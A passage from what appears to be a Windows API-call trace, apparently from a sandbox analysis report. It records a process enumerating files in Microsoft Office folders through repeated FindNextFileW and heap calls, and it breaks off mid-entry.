returned 1 [0230.236] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x659fb9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x659fb9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3898, dwReserved0=0x0, dwReserved1=0x0, cFileName="msipc.dll.mui", cAlternateFileName="MSIPCD~1.MUI")) returned 1 [0230.237] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x659fb9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x659fb9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3898, dwReserved0=0x0, dwReserved1=0x0, cFileName="msipc.dll.mui", cAlternateFileName="MSIPCD~1.MUI")) returned 0 [0230.237] FindClose (in: hFindFile=0x33e48a8 | out: hFindFile=0x33e48a8) returned 1 [0230.237] GetProcessHeap () returned 0xc10000 [0230.237] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0230.237] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x659fb9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x659fb9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0230.237] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0230.237] GetProcessHeap () returned 0xc10000 [0230.237] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc38a60 | out: hHeap=0xc10000) returned 1 [0230.237] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddaac59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddaac59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b382177, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3392, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSO0127.ACL", cAlternateFileName="")) returned 1 [0230.237] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe24e42d8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe24e42d8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe2661a3d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3f0c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSOCF.DLL", cAlternateFileName="")) returned 1 [0230.237] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddaac59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddaac59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf16bd2da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6070, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSOCFUIUTILITIESDLL.DLL", cAlternateFileName="MSOCFU~1.DLL")) returned 1 [0230.237] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddaac59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1b382177, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b3a83c3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xed650, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSOCR.DLL", cAlternateFileName="")) returned 1 [0230.238] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddaac59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddaac59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2169a085, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x24c3218, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSOCRRES.ORP", cAlternateFileName="")) returned 1 [0230.238] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddaac59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddaac59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x152c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msoetwres.dll", cAlternateFileName="MSOETW~1.DLL")) returned 1 [0230.238] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xed388c20, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed388c20, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xede4358a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa6b0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msoev.exe", cAlternateFileName="")) returned 1 [0230.408] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc369dacd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc3a5762f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x19c60, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSOHEV.DLL", cAlternateFileName="")) returned 1 [0230.408] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddaac59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddaac59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2f5480d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14860, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSOHEVI.DLL", cAlternateFileName="")) returned 1 [0230.408] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe238cd90, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe238cd90, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe24e42d8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17060, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSOHTMED.EXE", cAlternateFileName="")) returned 1 [0230.408] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddaac59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1be16917, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c648aa6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x66250, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msoia.exe", cAlternateFileName="")) returned 1 [0230.408] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddaac59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddaac59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1887f3e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5e80, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msoianetutil.dll", cAlternateFileName="MSOIAN~1.DLL")) returned 1 [0230.408] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2a8cc4b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2a8cc4b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2c30669, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x31ac0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSOSB.DLL", cAlternateFileName="")) returned 1 [0230.408] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddaac59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddaac59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6081126, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x380c8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSOSREC.EXE", cAlternateFileName="")) returned 1 [0230.409] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddaac59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddaac59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb654e78, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc078, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSOSTYLE.DLL", cAlternateFileName="")) returned 1 [0230.409] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe1de33ea, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xef07151c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xef3deb63, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x74860, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSOSYNC.EXE", cAlternateFileName="")) returned 1 [0230.409] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xed388c20, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed388c20, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xed5eb1ce, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xac58, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msotd.exe", cAlternateFileName="")) returned 1 [0230.409] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddaac59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddaac59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1bd7df5e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8d0c8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msotdaddin.dll", cAlternateFileName="MSOTDA~1.DLL")) returned 1 [0230.409] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddaac59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddaac59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb860, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msotelemetry.dll", cAlternateFileName="MSOTEL~1.DLL")) returned 1 [0230.409] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe261555e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe261555e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe2720687, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9be60, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSOUC.EXE", cAlternateFileName="")) returned 1 [0230.409] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddaac59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddaac59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1bd7df5e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b826, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msoutilstat.etw.man", cAlternateFileName="MSOUTI~1.MAN")) returned 1 [0230.409] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca4703d4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca4703d4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9eedd13, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x67ac0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSOUTL.OLB", cAlternateFileName="")) returned 1 [0230.409] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7f63b8, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x7f63b8, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x7f63b8, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x46860, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSOUTLS.DLL", cAlternateFileName="")) returned 1 [0230.409] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b580a61, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b580a61, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b580a61, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x14840, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSPJEVTS.DLL", cAlternateFileName="")) returned 1 [0230.409] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddd0ee4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddd0ee4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1bd7df5e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x66a68, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSPPT.OLB", cAlternateFileName="")) returned 1 [0230.409] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b87bb60, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c2c3dcb, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0xe80e8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSPRJ.OLB", cAlternateFileName="")) returned 1 [0230.410] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc3605252, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc3605252, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd4ff3b77, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4d8a8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msproof7.dll", cAlternateFileName="")) returned 1 [0230.410] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca4703d4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca4703d4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdb0f5967, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x214298, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSPST32.DLL", cAlternateFileName="")) returned 1 [0230.410] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc33c8ea0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd4f0ed48, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd5124e28, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd02e48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSPUB.EXE", cAlternateFileName="")) returned 1 [0230.410] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3bb225, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc3bb225, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc6b6198, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x62b, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="mspub.exe.manifest", cAlternateFileName="MSPUBE~1.MAN")) returned 1 [0230.410] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddd0ee4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddd0ee4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c9b60b5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x41874, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSPUB.TLB", cAlternateFileName="")) returned 1 [0230.410] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddd0ee4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddd0ee4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c66ecc0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSPUB.VisualElementsManifest.xml", cAlternateFileName="MSPUBV~1.XML")) returned 1 [0230.410] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe1c8beb8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee37a832, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xef39274d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xcea40, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSQRY32.EXE", cAlternateFileName="")) returned 1 [0230.410] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddd0ee4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddd0ee4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbdc8437, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x27230, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSRTEDIT.DLL", cAlternateFileName="")) returned 1 [0230.410] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd1bd051, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdec4432c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdec90856, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa12a8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msvcp120.dll", cAlternateFileName="")) returned 1 [0230.410] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x834f7581, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9b0a0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msvcp140.dll", cAlternateFileName="")) returned 1 [0230.411] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd1e31f2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdec6a56c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdecb6a42, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeb2a8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msvcr120.dll", cAlternateFileName="")) returned 1 [0230.411] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddd0ee4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddd0ee4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c66ecc0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe3040, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSWORD.OLB", cAlternateFileName="")) returned 1 [0230.411] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddd0ee4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddd0ee4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6bd3439, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa4e8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSYUBIN7.DLL", cAlternateFileName="")) returned 1 [0230.411] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddd0ee4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddd0ee4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb013b61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x462700, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSZIP.DIC", cAlternateFileName="")) returned 1 [0230.411] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddd0ee4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddd0ee4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c6e13e3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e13, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="muauth.cab", cAlternateFileName="")) returned 1 [0230.421] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddd0ee4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddd0ee4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfae22cc9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, 